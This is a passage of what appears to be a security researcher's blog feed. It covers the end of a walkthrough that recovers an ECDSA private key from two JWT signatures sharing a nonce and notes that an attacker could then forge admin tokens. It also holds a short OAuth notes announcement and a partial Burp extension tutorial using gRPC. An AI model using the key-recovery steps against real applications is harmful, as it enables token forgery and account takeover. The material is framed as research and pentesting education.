&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;verifies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msghash_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sig2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Perfect looks like the second Public Key in the array is able to verify both JWT signatures!&lt;/p&gt;

&lt;p&gt;To make it easier to remember, we assign the value of the second index in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;keys&lt;/code&gt; array to a variable called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pubkey&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;pubkey&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Step 6 - Use the &lt;a href=&quot;https://github.com/tintinweb/ecdsa-private-key-recovery&quot;&gt;ecdsa-key-recovery&lt;/a&gt; library to recover the Private Key.&lt;/p&gt;

&lt;p&gt;Reviewing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;README&lt;/code&gt; in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ecdsa-key-recovery&lt;/code&gt; libraries’ Github Repo, instructions are shown on how to use the dependency:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # same privkey as sampleA, identical r due to nonce reuse k.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Disclaimer, there is a small error and the actual API call looks the following:&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;sampleA&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EcDsaSignature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hashA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pubkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;curve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sampleB&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EcDsaSignature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hashB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pubkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;curve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# same privkey as sampleA, identical r due to nonce reuse k.
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With that being said, lets plugin in the variables:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;sampleA&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EcDsaSignature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msghash_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pubkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ecdsa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NIST256p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sampleB&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EcDsaSignature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sig2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sig2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msghash_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pubkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ecdsa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;NIST256p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note: If you may be wondering where the constant came from which defines the curve, it was defined in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python-ecdsa&lt;/code&gt; library:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/tlsfuzzer/python-ecdsa/blob/master/src/ecdsa/curves.py#L333&quot;&gt;https://github.com/tlsfuzzer/python-ecdsa/blob/master/src/ecdsa/curves.py#L333&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;With both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sampleA&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sampleB&lt;/code&gt; objects instantiated, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recover_nonce_reuse()&lt;/code&gt; method can now be called:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;recovered&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sampleA&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;recover_nonce_reuse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sampleB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To verify the private key was successfully recovered, we can call the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;privkey&lt;/code&gt; attribute on the recovered object;&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;recovered&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;privkey&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ecdsa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ecdsa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Private_key&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x104aa1e20&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Awesome the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;privkey&lt;/code&gt; attribute contains an instance of an ECDSA Private Key object.&lt;/p&gt;

&lt;p&gt;The final verification step is to use the recovered private key to sign a message and ensure it can be verified with the public key.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'does this work'&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;k&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;12345&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# nonce
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msghash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sha256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;recovered&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;privkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sign&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bytes_to_long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msghash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;pubkey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;verifies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bytes_to_long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg_hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Perfect the signature signed using the recovered private key is able to be verified with the derived public key.&lt;/p&gt;

&lt;p&gt;In the case of the web application, the attacker would now be able to mint a new JWT with modified claims and gain access to the application as a highly privileged user, e.g:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
	&quot;username&quot;: &quot;admin&quot;,
	&quot;email&quot;: &quot;admin@localhost&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;A great way to end the blog post is by reiterating that this isn’t a flaw within the ECDSA algorithm itself but rather a flawed implementation of it. In this scenario it occurred due to the developer attempting to roll their own crypto (as sometimes it may seem as simple as plugging variables into a formula). Typically by using tried and true dependencies, a developer is able to relieve the responsibility of correctly implementing the respective algorithm. However be note, even in the case where a trusted library such as one that’s packaged with the programming language otherwise known as a standard library, can contain flaws. &lt;a href=&quot;https://www.cryptomathic.com/news-events/blog/explaining-the-java-ecdsa-critical-vulnerability&quot;&gt;In April it was discovered that Java suffered a critical vulnerability&lt;/a&gt; where its ECDSA signature verification algorithm was flawed thus allowing an attacker to trivially construct an ECDSA signature which would always be successfully validated. The reason this happened was due to the ECDSA code being rewritten for the Java 15 release.&lt;/p&gt;

&lt;p&gt;To provide a quick TL;DR about this post for pentesters - in a black-box engagement, if the application is discovered to be using ECDSA as a signing algorithm, collect a sample of signatures and ensure they don’t each start with the same pattern.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;
</description>
        <pubDate>Thu, 29 Sep 2022 00:00:00 +0000</pubDate>
        <link>/2022/09/29/ecdsa-nonce-reuse/</link>
        <guid isPermaLink="true">/2022/09/29/ecdsa-nonce-reuse/</guid>
        
        <category>Research</category>
        
        
      </item>
    
      <item>
        <title>OAuth Research Notes</title>
        <description>&lt;h2 id=&quot;preface&quot;&gt;Preface&lt;/h2&gt;
&lt;p&gt;After reading &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;So Good They Can't Ignore You&lt;/code&gt; by Cal Newport, I was enthralled by the topic of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Little Bets&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Little Bets are defined as:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;bite-sized, carefully chosen projects that take no more than a few months, give you valuable feedback, and help you to determine your next steps. You don’t need to commit to a project that will determine your work life for the next few years. Take on small projects and continuously adapt.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&quot;https://deepstash.com/idea/60897/take-on-little-bets&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the book, the author gives an example of a recently published paper which in his community was gaining a lot of traction. While people were able to adequately explain the topic of the paper at a high level, very few understood how it worked under the hood. The author chose to spend an hour a day learning the paper over the period of two weeks until they eventually accomplished an expert level of understanding and even going as far to discover a mistake made in the paper.&lt;/p&gt;

&lt;p&gt;With that being said, I wanted to replicate the author’s experience and as such I chose OAuth as my research project. The two main reasons why I chose OAuth as the research topic is due to how broad the topic is and its increasing popularity in the recent years. Rather than researching some novel attack techniques, I first needed to take a step back and actually do a deep dive and understand what OAuth is and how it works.&lt;/p&gt;

&lt;h2 id=&quot;notes&quot;&gt;Notes&lt;/h2&gt;

&lt;p&gt;After spending a few weeks studying the topic across different sources, I compiled my notes into an easily digestible Gitbook Notebook which can be found at:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://mqt.gitbook.io/oauth-research/&quot;&gt;https://mqt.gitbook.io/oauth-research/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The intended audience of the notebook is for everyone regardless if they’re a developer or a pentester. The notes were designed in such a way that if you blank on a specific OAuth topic, you can quickly revisit the notes and read a high level overview. Furthermore included in the notes are several proof of concepts which demonstrate various vulnerabilities that could be found in an OAuth implementation.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Thanks for reading and please reach out if you have any questions and/or suggestions.&lt;/p&gt;
</description>
        <pubDate>Wed, 28 Sep 2022 00:00:00 +0000</pubDate>
        <link>/2022/09/28/oauth-research-notes/</link>
        <guid isPermaLink="true">/2022/09/28/oauth-research-notes/</guid>
        
        <category>Research Development</category>
        
        
      </item>
    
      <item>
        <title>Writing a Burp Extension which uses grpc under the hood</title>
        <description>&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Recently I worked on writing a Burp Extension which uses grpc to pass responses to an external service that would then further analyze the information. The reason grpc was chosen for this task was due to both its interoperability with other languages and its high throughput. This blog post aims to provide a walkthrough of my experience writing this extension and some pitfalls which were encountered.&lt;/p&gt;

&lt;h2 id=&quot;scaffolding-the-burp-extension&quot;&gt;Scaffolding the Burp Extension&lt;/h2&gt;
&lt;p&gt;To quickly scaffold a Burp Extension, it is highly recommended to use the following &lt;a href=&quot;https://github.com/ise-spolansky/burp-extension-maven-archetype&quot;&gt;Maven archetype&lt;/a&gt;. 
Once the project is setup, you will need to add the following dependencies to your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pom&lt;/code&gt; file:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;dependencies&amp;gt;
        &amp;lt;dependency&amp;gt;
            &amp;lt;groupId&amp;gt;javax.annotation&amp;lt;/groupId&amp;gt;
            &amp;lt;artifactId&amp;gt;javax.annotation-api&amp;lt;/artifactId&amp;gt;
            &amp;lt;version&amp;gt;1.3.2&amp;lt;/version&amp;gt;
        &amp;lt;/dependency&amp;gt;
        &amp;lt;dependency&amp;gt;
            &amp;lt;groupId&amp;gt;io.grpc&amp;lt;/groupId&amp;gt;
            &amp;lt;artifactId&amp;gt;grpc-netty-shaded&amp;lt;/artifactId&amp;gt;
            &amp;lt;version&amp;gt;1.45.0&amp;lt;/version&amp;gt;
        &amp;lt;/dependency&amp;gt;
        &amp;lt;dependency&amp;gt;
            &amp;lt;groupId&amp;gt;io.grpc&amp;lt;/groupId&amp;gt;
            &amp;lt;artifactId&amp;gt;grpc-protobuf&amp;lt;/artifactId&amp;gt;
            &amp;lt;version&amp;gt;1.45.0&amp;lt;/version&amp;gt;
        &amp;lt;/dependency&amp;gt;
        &amp;lt;dependency&amp;gt;
            &amp;lt;groupId&amp;gt;io.grpc&amp;lt;/groupId&amp;gt;
            &amp;lt;artifactId&amp;gt;grpc-stub&amp;lt;/artifactId&amp;gt;
            &amp;lt;version&amp;gt;1.45.0&amp;lt;/version&amp;gt;
        &amp;lt;/dependency&amp;gt;
        &amp;lt;dependency&amp;gt;
            &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt;
            &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt;
            &amp;lt;version&amp;gt;4.12&amp;lt;/version&amp;gt;
            &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt;
        &amp;lt;/dependency&amp;gt;
        &amp;lt;!-- https://mvnrepository.com/artifact/net.portswigger.burp.extender/burp-extender-api --&amp;gt;
        &amp;lt;dependency&amp;gt;
            &amp;lt;groupId&amp;gt;net.portswigger.burp.extender&amp;lt;/groupId&amp;gt;
            &amp;lt;artifactId&amp;gt;burp-extender-api&amp;lt;/artifactId&amp;gt;
            &amp;lt;version&amp;gt;2.3&amp;lt;/version&amp;gt;
        &amp;lt;/dependency&amp;gt;
    &amp;lt;/dependencies&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Furthermore, ensure to add the following plugins as well:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;plugins&amp;gt;
            &amp;lt;plugin&amp;gt;
                &amp;lt;groupId&amp;gt;org.xolstice.maven.plugins&amp;lt;/groupId&amp;gt;
                &amp;lt;artifactId&amp;gt;protobuf-maven-plugin&amp;lt;/artifactId&amp;gt;
                &amp;lt;version&amp;gt;0.6.1&amp;lt;/version&amp;gt;
                &amp;lt;configuration&amp;gt;
                    &amp;lt;protocArtifact&amp;gt;com.google.protobuf:protoc:3.21.4:exe:${os.detected.classifier}&amp;lt;/protocArtifact&amp;gt;
                    &amp;lt;pluginId&amp;gt;grpc-java&amp;lt;/pluginId&amp;gt;
                    &amp;lt;pluginArtifact&amp;gt;io.grpc:protoc-gen-grpc-java:1.48.0:exe:${os.detected.classifier}&amp;lt;/pluginArtifact&amp;gt;
                &amp;lt;/configuration&amp;gt;
                &amp;lt;executions&amp;gt;
                    &amp;lt;execution&amp;gt;
                        &amp;lt;goals&amp;gt;
                            &amp;lt;goal&amp;gt;compile&amp;lt;/goal&amp;gt;
                            &amp;lt;goal&amp;gt;compile-custom&amp;lt;/goal&amp;gt;
                        &amp;lt;/goals&amp;gt;
                    &amp;lt;/execution&amp;gt;
                &amp;lt;/executions&amp;gt;
            &amp;lt;/plugin&amp;gt;
            &amp;lt;plugin&amp;gt;
                &amp;lt;artifactId&amp;gt;maven-assembly-plugin&amp;lt;/artifactId&amp;gt;
                &amp;lt;configuration&amp;gt;
                    &amp;lt;archive&amp;gt;
                        &amp;lt;manifest&amp;gt;
                            &amp;lt;mainClass&amp;gt;&amp;lt;/mainClass&amp;gt;
                        &amp;lt;/manifest&amp;gt;
                    &amp;lt;/archive&amp;gt;
                    &amp;lt;descriptorRefs&amp;gt;
                        &amp;lt;descriptorRef&amp;gt;jar-with-dependencies&amp;lt;/descriptorRef&amp;gt;
                    &amp;lt;/descriptorRefs&amp;gt;
                &amp;lt;/configuration&amp;gt;
            &amp;lt;/plugin&amp;gt;
        &amp;lt;/plugins&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;boilerplate-code&quot;&gt;Boilerplate Code&lt;/h2&gt;

&lt;p&gt;Provided below is sample code that could be used as a boilerplate to build out the extension.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BurpExtender.java&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;//Hello World burp extension taken from https://github.com/PortSwigger/example-hello-world/tree/master/java
package burp;

import proto.ResponseCollectionServiceGrpc;

import java.io.PrintWriter;

public class BurpExtender implements IBurpExtender, IExtensionStateListener, IHttpListener {

    private IBurpExtenderCallbacks callbacks;
    private IExtensionHelpers helpers;
    public static PrintWriter stdout;
    private ResponseCollectionServicerpc.ResponseCollectionServiceBlockingStub stub;

    private Client grpcClient;


    @Override
    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) {
        this.callbacks = callbacks;
        this.helpers = callbacks.getHelpers();
        callbacks.setExtensionName(&quot;Grpc Sample Extension&quot;);

        stdout = new PrintWriter(callbacks.getStdout(), true);

        this.grpcClient = Client.getInstance();
        callbacks.registerHttpListener(this);
        callbacks.registerExtensionStateListener(this);
    }

    @Override
    public void extensionUnloaded() {
        grpcClient.closeChannel();
    }

    @Override
    public void processHttpMessage(int i, boolean messageIsRequest, IHttpRequestResponse message) {

        if (messageIsRequest) {
            return;
        }

        IRequestInfo reqUrl = helpers.analyzeRequest(message.getHttpService(), message.getRequest());

        grpcClient.sendData(reqUrl.getUrl().toString(), message.getResponse());
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Client.java&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;package burp;

import com.google.protobuf.ByteString;
import io.grpc.ManagedChannel;
import io.grpc.ManagedChannelBuilder;
import io.grpc.stub.StreamObserver;
import proto.ResponseCollectionServiceGrpc;
import proto.ResponseCollectionServiceGrpcCollectionServiceOuterClass;

public class Client {

    private static Client instance = null;
    private static ResponseCollectionServiceGrpc.ResponseCollectionServiceStub stub = null;
    private ManagedChannel channel;

    private Client() {
        BurpExtender.stdout.println(&quot;instantiating client&quot;);
        channel = ManagedChannelBuilder.forTarget(&quot;localhost:4040&quot;).usePlaintext().build();
        stub = ResponseCollectionServiceGrpc.newStub(channel);

    }

    public static Client getInstance() {
        if (instance == null) {
            instance = new Client();
        }

        return instance;
    }

    private StreamObserver&amp;lt;ResponseCollectionServiceOuterClass.Response&amp;gt; getServerResponseObserver() {
        StreamObserver&amp;lt;ResponseCollectionServiceOuterClass.Response&amp;gt; observer = new StreamObserver&amp;lt;ResponseCollectionServiceOuterClass.Response&amp;gt;() {
            @Override
            public void onNext(ResponseCollectionServiceOuterClass.Response response) {
            }

            @Override
            public void onError(Throwable throwable) {
            }

            @Override
            public void onCompleted() {
            }
        };
        return observer;
    }

    public void sendData(String url, byte[] response) {
       ResponseCollectionServiceOuterClass.Request request = ResponseCollectionServiceOuterClass.Request.newBuilder().setUrl(url).setRawresponse(ByteString.copyFrom(response)).build();

        BurpExtender.stdout.printf(&quot;DEBUG: sending %s to server\n&quot;, url);
        try {
            stub.collectresponse(request, getServerResponseObserver());
        } catch (Exception e) {
        }
    }

    public void closeChannel() {
        channel.shutdownNow();
    }
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ResponseCollectionService.proto&lt;/code&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;syntax = 'proto3';

package proto;

service ResponseCollectionService {
	rpc CollectResponse(Request) returns (Response) {}
}

message Request {
	string url = 1;
	bytes rawresponse = 2;
}

// empty response as not sending anything back to Burp
message Response {

}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;pitfalls-encountered&quot;&gt;Pitfalls Encountered&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: At the current time, the latest version of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grpc&lt;/code&gt; dependencies for Java is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1.48.0&lt;/code&gt;. However I noticed that when using this specific version, the following exception will be thrown when the grpc stub is invoked:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Caused by: java.nio.channels.UnsupportedAddressTypeException
